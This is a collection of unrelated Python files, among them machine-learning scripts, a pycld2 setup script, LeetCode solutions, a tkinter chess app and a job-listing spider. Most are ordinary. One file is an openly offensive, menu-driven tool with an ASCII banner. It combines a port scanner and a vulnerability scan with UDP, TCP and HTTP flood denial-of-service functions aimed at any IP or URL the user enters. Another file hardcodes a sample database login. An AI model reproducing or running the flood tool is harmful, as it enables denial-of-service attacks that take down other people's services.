    crossover_op1 = ugp4.GenOperator(ugp4.switch_proc_crossover, 2)
    crossover_op2 = ugp4.GenOperator(ugp4.macro_pool_uniform_crossover, 2)
    crossover_op3 = ugp4.GenOperator(ugp4.macro_pool_one_cut_point_crossover, 2)
    operators += crossover_op1
    operators += crossover_op2
    operators += crossover_op3

    # Create the object that will manage the evolution__________________________________________________________________
    mu = 10
    nu = 20
    strength = 0.5
    lambda_ = 10
    max_age = 5

    darwin = ugp4.Darwin(constraints=library,
                         operators=operators,
                         mu=mu,
                         nu=nu,
                         lambda_=lambda_,
                         strength=strength,
                         max_age=max_age)

    # Evolve____________________________________________________________________________________________________________
    darwin.evolve()
    logging.bare("This is the population:")
    for individual in darwin.population:
        ugp4.print_individual(individual, plot=True)
        ugp4.logging.bare(individual.fitness)

    # Print best individuals
    logging.bare("These are the best ever individuals:")
    ugp4.print_individual(darwin.archive.individuals)

    # bests = darwin.archive.individuals
    # for best in bests:
    #     print(best.fitness)

    ugp4.logging.verbose(library.stats)
    ugp4.logging.log_cpu(ugp4.logging.INFO, "Program completed")
    sys.exit(0)


#-*- coding:utf-8 _*-
"""
@author:Administrator
@file: prc_bid_lotd_latd_no_process.py
@time: 2018/7/20
"""
#-*- coding:utf-8 _*-
"""
@author:Administrator
@file: daysonmarkt_DNN.py
@time: 2018/7/20
"""
import tensorflow as tf
import pandas as pd
import os
import numpy as np
from sklearn.metrics import mean_absolute_error
from sklearn.preprocessing import StandardScaler

tf.logging.set_verbosity(tf.logging.INFO)
dirname = os.path.dirname(os.getcwd())
train_filename = '\\month_6_1.csv'
test_filename = '\\test_data_6_1.csv'

# 加载训练数据
data = pd.read_csv(dirname + train_filename, header=0)
# 去除经度大于0的：
data = data[data.longitude<0]
# 去除维度小于30的
data = data[data.latitude>30]
data = data.dropna(axis=0)
example = data[['province', 'city', 'address', 'longitude', 'latitude', 'price', 'buildingTypeId', 'tradeTypeId',
                'listingDate','bedrooms']]
print(type(example))
label = data[['daysOnMarket']]

# 加载测试数据
data_test = pd.read_csv(dirname + test_filename, header=0)
data_test = data_test.dropna(axis=0)
example_test = data_test[
    ['province', 'city', 'address', 'longitude', 'latitude', 'price', 'buildingTypeId', 'tradeTypeId',
      'listingDate','bedrooms']]
label_test = data_test[['daysOnMarket']]
print(example, label_test)

longitude = tf.feature_column.numeric_column('longitude')
latitude = tf.feature_column.numeric_column('latitude')
price = tf.feature_column.numeric_column('price')
buildingTypeId = tf.feature_column.numeric_column('buildingTypeId')

# DNN特征
deep_columns = [
    longitude,
    latitude,
    price,
    buildingTypeId
]

# estimator
estimator_model = tf.estimator.DNNRegressor(
    model_dir='./first_step/predict_model',
    feature_columns=deep_columns,
    # hidden_units=[512, 256, 128, 64, 32],
    hidden_units=[512, 256, 128, 64, 32],
)

# 训练输入
train_input_fn = tf.estimator.inputs.numpy_input_fn(
    x={
        'longitude': np.array(example['longitude']),
        'latitude': np.array(example['latitude']),
        'price': np.array(example['price']),
        'buildingTypeId': np.array(example['buildingTypeId'])
    },
    y=np.array(label),
    num_epochs=None,
    shuffle=False
)

test_input_fn = tf.estimator.inputs.numpy_input_fn(
    x={
        'longitude': np.array(example_test['longitude']),
        'latitude': np.array(example_test['latitude']),
        'price': np.array(example_test['price']),
        'buildingTypeId': np.array(example_test['buildingTypeId'])
    },
    y=np.array(label_test),
    num_epochs=1,  # 此处注意，如果设置成为None了会无限读下去；
    shuffle=False
)

estimator_model.train(input_fn=train_input_fn, steps=3000)

# 测试
ev = estimator_model.evaluate(input_fn=test_input_fn, steps=100)
print('ev: {}'.format(ev))
# 预测
predict_iter = estimator_model.predict(input_fn=test_input_fn)
# 循环次数根据测试数据数决定

list_value = []
for i in range(len(label_test)):
    # 目前不知道这个dict_values([array([51.575745], dtype=float32)]) 数据怎么把值弄出来，就没有算精确度了
    x =float(list(predict_iter.__next__().values())[0])
    print(i, x)
    list_value.append(x)

print(list_value)
print('prediction_mean',np.mean(list_value))
print('label_mean',np.mean(label_test))

print(mean_absolute_error(label_test,list_value))


from __future__ import division
import os
import os.path
import re
import subprocess

__TORCH_DEMOS_HOME__ = os.path.join(
    os.environ['HOME'],
    'torch-demos',
    'train-a-digit-classifier')

os.chdir(__TORCH_DEMOS_HOME__)

# -- parameters
seed = 1
learning_rate = 0.05
momentum = 0.0
ell1 = 0.0
ell2 = 0.0

# -- launch subprocess
out = subprocess.check_output([
    'th train-on-mnist.lua '  +
    '--full '                 +
    '--model=mlp '            +
    '--batchSize=100 '        +
    '--epochs=1 '             +
    '--seed=%d '         % seed          +
    '--learningRate=%f ' % learning_rate +
    '--momentum=%f '     % momentum      +
    '--coefL1=%f '       % ell1          +
    '--coefL2=%f '       % ell2
    ],
    shell=True
)

# -- parse output from stdout
out = out.splitlines()[-1]                          # keep last line
out = re.compile(r'\x1b[^m]*m').sub('', out)        # strip color codes
out = out.split('=')[-1]                            # strip left hand side
out = float(out)


#!/usr/bin/env python

#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#

from distutils.core import setup, Extension
import distutils.core
import platform
import subprocess
import sys
import os
import glob
from os import path as p

CLD2_PATH = 'cld2'
BIND_PATH = 'bindings'

with open('README.rst') as readme_file:
  readme = readme_file.read()

# Test suite
class cldtest(distutils.core.Command):
    # user_options, initialize_options and finalize_options must be overriden.
    user_options = []
    def initialize_options(self):
        pass
    def finalize_options(self):
        pass

    def run(self):
        errno = subprocess.call([sys.executable, 'tests/cld_test.py'])
        raise SystemExit(errno)

src_files = (glob.glob(p.join(CLD2_PATH, 'internal', '*.cc')) +
             [p.join(BIND_PATH, 'pycldmodule.cc'),
              p.join(BIND_PATH, 'encodings.cc')])

# These files list  is taken from the cld2/internal/compile_libs.sh
# target libcld2_full.so, we will build the largest detector ever!
cld_files = ['cldutil.cc', 'cldutil_shared.cc', 'compact_lang_det.cc',
             'compact_lang_det_hint_code.cc', 'compact_lang_det_impl.cc',
             'debug.cc', 'fixunicodevalue.cc', 'generated_entities.cc',
             'generated_language.cc', 'generated_ulscript.cc',
             'getonescriptspan.cc', 'lang_script.cc', 'offsetmap.cc',
             'scoreonescriptspan.cc', 'tote.cc', 'utf8statetable.cc',
             'cld_generated_cjk_uni_prop_80.cc', 'cld2_generated_cjk_compatible.cc',
             'cld_generated_cjk_delta_bi_32.cc', 'generated_distinct_bi_0.cc',
             'cld2_generated_quad0122.cc', 'cld2_generated_deltaocta0122.cc',
             'cld2_generated_distinctocta0122.cc',
             'cld_generated_score_quad_octa_0122.cc']

src_files = [p.join(CLD2_PATH, 'internal', f) for f in cld_files]

src_files.extend([p.join(BIND_PATH, 'pycldmodule.cc'),
                  p.join(BIND_PATH, 'encodings.cc')])
include_dirs = [p.join(CLD2_PATH, 'internal'), p.join(CLD2_PATH, 'public')]

module = Extension('pycld2._pycld2',
                   language='c++',
                   extra_compile_args=['-w', '-O2', '-fPIC'],
                   include_dirs=include_dirs,
                   libraries = [],
                   sources=src_files,
                   )

test_requirements = [
    # TODO: put package test requirements here
]

setup(name='pycld2',
      version='0.31',
      author='Rami Al-Rfou',
      author_email='rmyeid@gmail.com',
      description='Python bindings around Google Chromium\'s embedded compact language detection library (CLD2)',
      ext_modules = [module],
      license = 'Apache2',
      url = 'https://github.com/aboSamoor/pycld2',
      classifiers = [
        'License :: OSI Approved :: Apache Software License',
        'Operating System :: MacOS :: MacOS X',
        'Operating System :: Microsoft :: Windows',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: C++',
        "Programming Language :: Python :: 2",
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.4',
        'Development Status :: 4 - Beta',
        'Intended Audience :: Developers',
        'Topic :: Text Processing :: Linguistic'
        ],
      packages=["pycld2"],
      test_suite='tests',
      tests_require=test_requirements,
      )


import os
import networkx as nx
import matplotlib.pyplot as plt
import datetime
import read
import numpy as np

starttime = datetime.datetime.now()

Graph = read.graph("com-dblp.ungraph.txt")

Community = read.community("com-dblp.all.cmty.txt")

for i in range(len(Community)):
    sumin = 0.0
    sumall = 0.0
    for x in Community[i]:
        # Graph.has_edge(x, y)? 1 : 0 for y in Community[i]
        # print ( )
        temp = sum(Graph.has_edge(x, y) for y in Community[i])
        sumin = sumin + temp

    sumall = np.sum(Graph.degree(x) for x in Community[i])

    print (sumin,sumall)
    os.system('pause')

endtime = datetime.datetime.now()
interval=(endtime - starttime)
print(interval)


import vpython as vp
import time
from robot_imu import RobotImu

imu = RobotImu()

vp.graph(xmin=0, xmax=60, scroll=True)
graph_x = vp.gcurve(color=vp.color.red)
graph_y = vp.gcurve(color=vp.color.green)
graph_z = vp.gcurve(color=vp.color.blue)

start = time.time()
while True:
    vp.rate(100)
    elapsed = time.time() - start
    gyro = imu.read_gyroscope()
    print(f"Gyro x: {gyro.x:.2f}, y: {gyro.y:.2f}, z: {gyro.z:.2f}")
    graph_x.plot(elapsed, gyro.x)
    graph_y.plot(elapsed, gyro.y)
    graph_z.plot(elapsed, gyro.z)


from tensorflow.keras.utils import Sequence
import numpy as np
from skimage.draw import rectangle, circle

def make_rectangle(image_size=50):
    image = np.zeros((image_size,image_size))
    rows, cols = np.random.randint(3,image.shape[0]), np.random.randint(3,image.shape[1])
    origin_x, origin_y = np.random.randint(rows//2,image.shape[0]-rows//2), np.random.randint(cols//2,image.shape[1]-cols//2)
    rr, cc = rectangle((origin_x,origin_y),extent=(rows,cols),shape=image.shape)
    image[rr,cc] = 1
    rows, cols = np.where(image==1)
    image[np.min(rows)+1:np.max(rows),np.min(cols)+1:np.max(cols)] = 0
    return image

def make_circle(image_size=50):
    image = np.zeros((image_size,image_size))
    radius = np.random.randint(5,image.shape[1]//2)
    origin_x, origin_y = np.random.randint(radius,image.shape[0]-radius), np.random.randint(radius,image.shape[1]-radius)
    rr, cc = circle(origin_x,origin_y,radius,shape=image.shape)
    image[rr,cc] = 1
    rr, cc = circle(origin_x,origin_y,radius-1,shape=image.shape)
    image[rr,cc] = 0
    return image

class Data_Generator(Sequence):
    def __init__(self, image_size=50, num_examples_per_epoch=100, batch_size=10):
        self.image_size = image_size
        self.num_examples = num_examples_per_epoch
        self.batch_size = batch_size

    def return_rectangle(self):
        return make_rectangle(self.image_size)

    def return_circle(self):
        return make_circle(self.image_size)

    def __getitem__(self, item):
        output = np.zeros((self.batch_size, self.image_size, self.image_size, 1))
        y = np.zeros((self.batch_size,2))
        for i in range(self.batch_size):
            if np.random.randint(2) == 1:
                output[i] = self.return_rectangle()[...,None]
                y[i,1] = 1
            else:
                output[i] = self.return_circle()[...,None]
                y[i,0] = 1
        return output, y

    def __len__(self):
        return self.num_examples

if __name__ == '__main__':
    # image_input_primary = x = Input(shape=(64, 64, 1), name='UNet_Input')
    # x = Conv2D(6, (3,3), padding='same')(x)
    # x = MaxPool2D(52)(x)
    #
    # model = Sequential([
    #     Conv2D(6, (3,3), input_shape=(100, 100, 1), padding='same'), # Make 6 kernels
    #     MaxPool2D(52), # Pool into a 1x1x6 image
    #     Flatten(),
    #     Dense(2),
    #     Activation('softmax')
    # ])
    xxx = 1


# Given a string s and a dictionary of words dict,
# determine if s can be segmented into a space-separated sequence of one or more dictionary words.
#
# For example, given
# s = "leetcode",
# dict = ["leet", "code"].
#
# Return true because "leetcode" can be segmented as "leet code".

class Solution(object):
    def wordBreak(self, s, wordDict):
        """
        :type s: str
        :type wordDict: Set[str]
        :rtype: bool
        """
        possible = [False for i in range(len(s))] # possible[n] represents index 0 to index n can it be sgemented or not
        for i in range(len(s)):
            if s[:i+1] in wordDict: # has to be here, so possible[0] has a chance to be True
                possible[i] = True
            for j in range(i):
                if possible[j] and s[j+1:i+1] in wordDict:
                    possible[i] = True
                    break
        return possible[len(s)-1]

        # http://www.cnblogs.com/zzzdevil/p/3648298.html from index k to last element; 反过来
        # https://github.com/kamyu104/LeetCode/blob/master/Python/word-break.py

    def wordBreak(self, s, wordDict):
        """
        :type s: str
        :type wordDict: Set[str]
        :rtype: bool
        """
        possible = [False for i in range(len(s)+1)] # possible[n] represents last n elements can it be sgemented or not
        # possible[0] = True # the last 0 element can be segmented using the list, so that  possible[j] and s[j:i] in wordDict
        # will just be s[j:i] in wordDict at the first time
        possible[0] = True
        for i in range(1, len(s)+1):

            # if s[:i] in wordDict: # 如果没有possible[0] = True就要这段
            #     possible[i] = True
            #     continue
            for j in range(i):
                if possible[j] and s[j:i] in wordDict:
                    possible[i] = True
                    break
        return possible[len(s)]

        # http://www.cnblogs.com/zuoyuan/p/3760660.html
        # 这道题考察的显然不是dfs，为什么？因为这道题不需要给出如何分割的答案，只需要判断是否可以分割为字典中的单词即可。
        # 我们考虑使用动态规划，这个思路看代码的话不难，用python写起来也比较清晰。

        # 非常有启发
        # 最原始的c：
        # bool wordBreak(string str)
        # {
        #     int size = str.size();

        #     // Base case
        #     if (size == 0)  return true;

        #     // Try all prefixes of lengths from 1 to size
        #     for (int i=1; i<=size; i++)
        #     {
        #         // The parameter for dictionaryContains is str.substr(0, i)
        #         // str.substr(0, i) which is prefix (of input string) of
        #         // length 'i'. We first check whether current prefix is in
        #         // dictionary. Then we recursively check for remaining string
        #         // str.substr(i, size-i) which is suffix of length size-i
        #         if (dictionaryContains( str.substr(0, i) ) &&
        #             wordBreak( str.substr(i, size-i) ))
        #             return true;
        #     }

        #     // If we have tried all prefixes and none of them worked
        #     return false;
        # }


#!/usr/bin/python3
# Tested only on linux systems - buggy on some windows sadly #
# Twitter : @YourAnonS0u1 #
# Bane - credits to Ala #
# Special thanks to c0stablf #
# Bane can be found here => https://github.com/AlaBouali/bane #
#---------------------------------------------------------------------#
#                                                                     #
#--------------#                                                      #
# Requirements #                                                      #
#--------------#                                                      #
#                                                                     #
# pip3 install nmap                                                   #
import nmap                                                           #
sc = nmap.PortScanner()                                               #
# pip3 install bane                                                   #
import bane                                                           #
#                                                                     #
# don't need anything.                                                #
import os                                                             #
#                                                                     #
#                                                                     #
#---------------------#                                               #
# End of requirements #                                               #
#---------------------#-----------------------------------------------#

#---------------#
#   GUI Design  #
#---------------#

#----------------#

print("""
.d8888. d8b   db db    db d88888b d88888b
88'  YP 888o  88 88    88 88'     88'
`8bo.   88V8o 88 88    88 88ooo   88ooo
  `Y8b. 88 V8o88 88    88 88~~~   88~~~
db   8D 88  V888 88b  d88 88      88
`8888Y' VP   V8P ~Y8888P' YP      YP

                                          """)
#----------------#

#----------------#
def main():
  n = input("1 - Network Scanner \ n2 - Vulnerability Detection \ n3 - Denial of Service Tool \ nSelect a number from 1 to 3:")

  if n == '1':
    nmap()
  if n == '2':
    vuln()
  if n == '3':
    flood()

  else:
    print("Please enter a valid number.")

def nmap():
  os.system("clear || cls")
  print("#-------------------- welcome to network scanner --------------------#")
  target = input("\nEnter the IP address of the destination: ")
  sc.scan(target, '1-65536')
  print(sc.scaninfo())
  print(sc[target]['tcp'].keys())

def vuln():
  os.system("clear || cls")
  print("#-------------------- welcome to vulnerability scan --------------------#")
  url = input("\nenter target IP address: ")
  print(os.system('nmap -sV --script=vulnscan.nse' +ip))

def flood():
  os.system("clear || cls")
  print("#-------------------- welcome to denial --------------------#")
  u = input("4 - Udp Flood\n5 - Tcp Flood\n6 - Http Flood\nChoose a number between 4 and 6: ")

  if u == '4':
    udp()
  if u == '5':
    tcp()
  if u == '6':
    http()

  else:
    print("Please enter a valid number.")

def udp():
  os.system("clear || cls")
  print("#-------------------- Udp Flood --------------------#")
  ip = input("\nEnter IP Address: ")
  port = input("\nPort: ")
  time = input("\nTime: ")
  bane.udp_flood(ip, p=port, min_size=10, max_size=20, duration=time, interval=0.001)

def tcp():
  os.system("clear || cls")
  print("#-------------------- Tcp Flood --------------------#")
  ip = input("\nEnter IP Address: ")
  port = input("\nPort: ")
  time = input("\nTime: ")
  thread = input("\nThreads: ")
  bane.tcp_flood(ip, p=port, min_size=10, max_size=20, duration=time, interval=0.001, threads=thread, timeout=5)

def http():
  os.system("clear || cls")
  print("#-------------------- Http Flood --------------------#")
  h = input("7 - Proxyless Http Flood\n8 - Basic Http Flood\nSelect a number from 1 to 2: ")

  if h == "7":
    httproxy()
  if h == "8":
    httpbasic()
  else:
    print("Please enter a valid number")
def httproxy():
  os.system("clear || cls")
  print("#-------------------- Proxy Http Flood --------------------#")
  ip = input("\nEnter IP/URL to attack: ")
  port = input("\nPort: ")
  time = input("\nTime: ")
  thread = input("\nThreads: ")
  bane.prox_http_flood(ip, p=port, duration=time,interval=0.001, threads=thread, timeout=5)

def httpbasic():
  os.system("clear || cls")
  print("#-------------------- Basic Http Flood --------------------#")
  ip = input("\nEnter IP/URL to attack: ")
  port = input("\nPort: ")
  time = input("\nTime: ")
  thread = input("\nThreads: ")
  bane.http_flood(ip, p=port, duration=time,interval=0.001, threads=thread, timeout=5)

#----------------#

if name == "main":
  main()


from flask import Flask
from app import models
from datetime import datetime

date_start = datetime(2019, 2, 1, 0, 0)
date_end = datetime(2019, 2, 10, 0, 0)
time_start = 12
time_end = 15
loc_num = 2
cat_num = 3

quorum_num = 2
# pref A for member A..
prefA = ["010219","1900","LocA","CatA"]
prefB = ["010219","1900","LocA","CatA"]
prefC = ["020219","1900","LocA","CatA"]
prefD = ["010219","1900","LocA","CatA"]
prefE = ["010219","1900","LocA","CatB"]

app = Flask(__name__)
event = models.Event(date_start,date_end,time_start,time_end,loc_num,cat_num)
circle = models.Circle([prefA,prefB, prefC,prefD,prefE],quorum_num)

# users = []
#
# for k,v in circle.get_members_list().items():
# 	users.append(v)
#
# to_pop = []
# to_pop = users
# set_list = []
# while len(to_pop) > 0:
# 	print("len to_pop:",len(to_pop))
# 	print("len set_list:", len(set_list))
# 	x  = {to_pop.pop()}
# 	if len(set_list) == 0:
# 		set_list.append(x)
# 	else:
# 		index = 0
# 		while index < len(set_list):
# 			set = set_list.pop()
# 			userA = next(iter(set))
# 			userB = next(iter(x))
# 			print(userA.get_preferences() == userB.get_preferences())
# 			if userA.get_preferences() == userB.get_preferences():
# 				set.union(x)
# 				set_list.append(set)
# 			else:
# 				set_list.append(set)
# 				set_list.append(x)
# 			print(index)
# 			index = index + 1

from app import routes


#!/usr/bin/env python
import only
from public import public
import runcmd
import temp

def _tempfile(content):
    path = temp.tempfile()
    open(path, "w").write(content)
    return path

@only.osx
@public
def app(appname, applescript, background=False):
    code = """tell application "%s"
    %s
end tell
""" % (appname, applescript)
    path = _tempfile(code)
    args = ["osascript", path]
    return runcmd.run(args, background=background)


from tkinter import *
import chessSetter

#Window
mainWindow = Tk()
mainWindow.title("Chess App")
mainWindow.geometry('640x480')

#Description for textbox
description = Label(mainWindow, text="Player name: ", font=("Calibri", 10))
description.grid(column=0, row=0)

#Textbox to type player name
txt = Entry(mainWindow, width=10)
txt.grid(column=1, row=0)
txt.focus()

#List of players
players = []

#List of players' labels - to see already added players
pLabels = []

#Add player button - adds a player with a name from the
#textbox to the players list
def addPlayerClicked():
    players.append(txt.get())
    pLabels.append(Label(mainWindow, text=players[-1], font=("Calibri", 10)))
    pLabels[-1].grid(column=1, row=len(players))
    txt.delete(0, END)
addPlayerButton = Button(mainWindow, text="Add player", command=addPlayerClicked)
addPlayerButton.grid(column=2, row=0)

#Delete player button
def deletePlayerClicked():
    if players:
        players.pop()
    if pLabels:
        pLabels[-1].destroy()
        pLabels.pop()
deletePlayerButton = Button(mainWindow, text="Delete", command=deletePlayerClicked)
deletePlayerButton.grid(column=2, row=1)

#Set matches button
def setMachesClicked():
    if len(players) > 1:
        #Create a new window for set matches
        matchesWindow = Tk()
        matchesWindow.title("Matches")
        matchesWindow.geometry('800x600')
        #Set matches
        matches = chessSetter.setMatches(players)
        #Create a list for results
        pointsTextboxes = [[0 for x in range(2)] for y in range(len(matches))]
        #Display matches
        for rowNum in range(len(matches)):
            lbl = Label(matchesWindow, text=str(rowNum + 1) + ". ")
            lbl.grid(column=0, row=rowNum)
            pointsTextboxes[rowNum][0] = Entry(matchesWindow, width=2)
            pointsTextboxes[rowNum][0].grid(column=1, row=rowNum)
            lbl = Label(matchesWindow, text=matches[rowNum][0])
            lbl.grid(column=2, row=rowNum)
            lbl = Label(matchesWindow, text=" - ")
            lbl.grid(column=3, row=rowNum)
            lbl = Label(matchesWindow, text=matches[rowNum][1])
            lbl.grid(column=4, row=rowNum)
            pointsTextboxes[rowNum][1] = Entry(matchesWindow, width=2)
            pointsTextboxes[rowNum][1].grid(column=5, row=rowNum)

setMatchesButton = Button(mainWindow, text="Set matches!", command=setMachesClicked, bg="orange")
setMatchesButton.grid(column=3, row=0)

#Mainloop
mainWindow.mainloop()


"""
leetcode 242 有效的字母异位词
字母异位词指的是：两个单词含有的字母的个数相等
"""

class Solution:
    def isAnagram_1(self, s: str, t: str) -> bool:
        # 1. 哈希表，O(n), O(n)
        # 2. 排序，O(nlogn), O(1)
        if len(s) != len(t):
            return False
        from collections import defaultdict
        d = defaultdict(int)
        for i in range(len(s)):
            d[s[i]] += 1
            d[t[i]] -= 1
        for cnt in list(d.values()):
            if cnt != 0:
                return False
        return True

    def isAnagram_2(self, s: str, t: str) -> bool:
        # 1. 哈希表，O(n), O(n)
        # 2. 排序，O(nlogn), O(1)
        return sorted(s) == sorted(t)


a = [0, 0, 0, 0]  # 초기에 리스트 개수를 줄 때
hap = 0

# a의 리스트갯수만큼 반복문돌려서 0번째위치에 값 넣기
for i in range(0, len(a)):
    a[i] = int(input(str(i+1) + "번째 숫자 in a : "))
print("a: ", a)
print(a[0])  # 0번째 위치 출력

# 반복문에 리스트의 길이를 줄 필요 없이,
# append 함수를 이용하면 계속 리스트에 데이터 추가 가능
b = []
for i in range(0, 4):
    b.append(int(input(str(i+1) + "번째 숫자 in b: ")))
print("b: ", b)

# a의 리스트갯수만큼 반복문돌려서 합계구하기
for hap in range(0, len(a)):
    hap += a[i]
# hap = a[0] + a[1] + a[2] + a[3]

# a 리스트에 있는 데이터를 하나씩 꺼내와서 합계 구하기 ( 자바의 향상된 for문과 유사)
for i in a:
    hap += i
print(hap)


"""
Sets default args

Note all data format is NHWC because slim resnet wants NHWC.
"""

from absl import flags
import os.path as osp
curr_path = osp.dirname(osp.abspath(__file__))
model_dir = osp.join(curr_path, '..', 'models')
if not osp.exists(model_dir):
    print('Fix path to models/')
    import ipdb
    ipdb.set_trace()
SMPL_MODEL_PATH = osp.join(model_dir, 'neutral_smpl_with_cocoplus_reg.pkl')
SMPL_FACE_PATH = osp.join(curr_path, '../src/tf_smpl', 'smpl_faces.npy')

# Default model path
PRETRAINED_MODEL = osp.join(model_dir, 'model.ckpt-667589')

flags.DEFINE_string('smpl_model_path', SMPL_MODEL_PATH,
                    'path to the neurtral smpl model')
flags.DEFINE_string('smpl_face_path', SMPL_FACE_PATH,
                    'path to  smpl mesh faces (for easy rendering)')
flags.DEFINE_string('load_path', PRETRAINED_MODEL, 'path to trained model')
flags.DEFINE_integer('batch_size', 1,
                     'Input image size to the network after preprocessing')

# Don't change if testing:
flags.DEFINE_integer('img_size', 224,
                     'Input image size to the network after preprocessing')
flags.DEFINE_string('data_format', 'NHWC', 'Data format')
flags.DEFINE_integer('num_stage', 3, '# of times to iterate regressor')
flags.DEFINE_string('model_type', 'resnet_fc3_dropout',
                    'What kind of networks to use')
flags.DEFINE_string(
    'joint_type', 'cocoplus',
    'cocoplus (19 keypoints) or lsp 14 keypoints, returned by SMPL')


# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04)
# [GCC 8.4.0]
# Embedded file name: build/bdist.linux-x86_64/egg/modules/savefile.py
# Compiled at: 2018-07-01 06:51:02
# Size of source mod 2**32: 635 bytes
import json, time

def saveJson(datatype, data):
    """
        Creates json file and stores json

        Args:
            datatype: the type of the object being passed
            data = data that is being stored with object
    """
    timestr = time.strftime('%Y%m%d-%H%M%S')
    file_name = 'TorBot-Export-' + datatype + timestr + '.json'
    with open(file_name, 'w+') as (f):
        output = {datatype: data}
        json.dump(output, f, indent=2)
    print('\nData will be saved with a File Name :', file_name)
    return file_name


from bs4 import BeautifulSoup as BS
import requests

def get_river():
    response = requests.get('https://www.wpws.kr/hangang/')
    html = response.text
    soup = BS(html, 'html.parser')

    for tag in soup.select('#temp'):
        a = tag.text

    return a


from functools import reduce
import global_state as glb

class BasicStats(object):
    def __init__(self, matches: list):
        self.matches = matches
        self.games = len(self.matches)
        if self.games:
            self.wins = self._sum_stat("winner")
            self.losses = self.games - self.wins
            self.win_rate = self.wins / self.games * 100
            self.kills = self._sum_stat("kills")
            self.deaths = self._sum_stat("deaths")
            self.assists = self._sum_stat("assists")
            self.kda = self._calc_kda()
            self.av_kills = self.kills / self.games
            self.av_deaths = self.deaths / self.games
            self.av_assists = self.assists / self.games

    def _sum_stat(self, stat):
        return reduce(lambda x, y: x + y, map(lambda m: m[stat], self.matches))

    def _calc_kda(self):
        if self.deaths:
            return (self.kills + self.assists) / self.deaths
        else:
            return self.kills + self.assists

    def __str__(self):
        str_ = "{} games played".format(self.games)
        if self.games:
            str_ += (": {} wins, {} losses\n".format(self.wins, self.losses) +
                     "{0:.0f}% win rate\n".format(self.win_rate) +
                     "KDA: {0:.2f}\n".format(self.kda) +
                     "Average K/D/A: {0:.1f}/".format(self.av_kills) + "{0:.1f}/".format(self.av_deaths) +
                     "{0:.1f}\n".format(self.av_assists) +
                     "Total K/D/A: {}/{}/{}".format(self.kills, self.deaths, self.assists)
                     )
        return str_

class FullStats(BasicStats):
    def __init__(self, matches: list):
        BasicStats.__init__(self, matches)
        self.primaryOpponentStats = self._process_opponents("primaryOpponent")
        self.secondaryOpponentStats = self._process_opponents("secondaryOpponent")

    def _process_opponents(self, opp_type):
        opp_stats = {}
        opps = set(map(lambda m: m[opp_type], self.matches))
        opps.discard(None)
        for opp in opps:
            opp_matches = list(filter(lambda m: m[opp_type] == opp, self.matches))
            opp_stats[str(opp)] = BasicStats(opp_matches)
        return opp_stats

    def __str__(self):
        str_ = BasicStats.__str__(self)
        opp_stats = lambda o: ("\n    vs {}: {} games, ".format(glb.champions[o]["name"], opps[o].games) +
                               "{0:.0f}% win rate, ".format(opps[o].win_rate) +
                               "{0:.2f} KDA".format(opps[o].kda))
        opps = self.primaryOpponentStats
        if len(opps):
            str_ += "\nPrimary Opponents:"
            str_ += reduce(lambda x, y: x + y, map(opp_stats, opps))

        opps = self.secondaryOpponentStats
        if len(opps):
            str_ += "\nSecondary Opponents:"
            str_ += reduce(lambda x, y: x + y, map(opp_stats, opps))

        return str_


# -*- coding: utf-8 -*-
"""This file is a ZodiacAerospace spider created on top of the ATSSpider
scrapy crawl zodiacaerospace -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url="http://zodiacaerospace.profils.org/job/list-of-all-jobs.aspx?all=1&mode=list"

sample url:
    http://zodiacaerospace.profils.org/job/list-of-all-jobs.aspx?all=1&mode=list
"""

from urlparse import urljoin
from scrapy.http import Request
from scrapy.selector import Selector
from brightcorp.base.atsspiders import ATSSpider
from brightcorp.items import BrightcorpItemLoader
from brightcorp.processors import Prefix, NormalizedJoin, ConvertDateString

class ZodiacAerospace(ATSSpider):

    name = 'zodiacaerospace'
    ref_re = r'(\d+)\.aspx'

    def parse(self, response):
        sel = Selector(response)
        if not self.expected_job_count_set:
            count = sel.xpath(
                '//span[contains(@id, "_TotalOffers")]/text()'
                ).extract()
            if count:
                self.expected_job_count = count

        jobs = sel.xpath(
            '//div[contains(@id, "_composantListeoffre_main")]/ul/li'
            )
        for job in jobs:
            job_url = job.xpath('./h2/span/a/@href').extract()
            if job_url:
                job_url = urljoin(response.url, job_url[0])
                meta = {
                    'title': job.xpath('./h2/span/a/text()').extract(),
                    'date': job.xpath('./ul/li[2]/text()').extract(),
                }
                yield Request(
                    job_url, callback=self.parse_job_callback(), meta=meta
                    )

        next_url = sel.xpath(
            '//li[contains(@id, "_liSuivPage")]/a/@href'
            ).extract()
        if next_url:
            yield Request(next_url[0], callback=self.parse)

    def parse_job(self, response):
        loader = BrightcorpItemLoader(response=response)
        loader.add_value('url', response.url)
        loader.add_value('title', response.meta.get('title'))
        loader.add_value(
            'date', response.meta.get('date'), ConvertDateString('%m/%d/%Y')
            )
        loader.add_value(
            'referencenumber', response.url,
            Prefix('%s-' % self.name), re=self.ref_re
            )
        loader.add_xpath(
            'jobtype', '//p[@id="fldjobdescription_contract" or @id="fldjobdescription_jobtime"]/text()',
            NormalizedJoin(", ")
            )
        loader.add_xpath(
            'description',
            '//h3[contains(text(), "Job description")]|//p[@id="fldjobdescription_description1"]'
            )
        loader.add_xpath(
            'qualifications',
            '//h3[contains(text(), "Qualifications")]|//p[@id="fldjobdescription_description2"]'
            )
        loader.add_xpath(
            'location', '//p[contains(@id, "fldlocation_location_")]/text()'
            )
        loader.add_xpath(
            'company_description',
            '//h3[contains(text(), "Company")]|//p[@id="fldjobdescription_longtext1"]',
            NormalizedJoin()
            )
        loader.add_xpath(
            'requirements',
            '//h2[@class="ApplicantCriteria"]|//h2[@class="ApplicantCriteria"]/following-sibling::node()'
            )
        yield loader.load_item()


import cx_Oracle as oci

# 1) 연결(Connection) 얻어오기

conn = oci.connect("hr/1234@localhost:1521/xe")

print(conn.version)
# 2) 커서 객체 얻어오기

cursor = conn.cursor() #자바로 생각하면 전송객체

# 3) SQL문장

sql = "SELECT * FROM MEMBER"

# 4) SQL문장 실행

cursor.execute(sql) #실행하고싶습니다.
# datas = cursor.fetchall()
#print(datas)
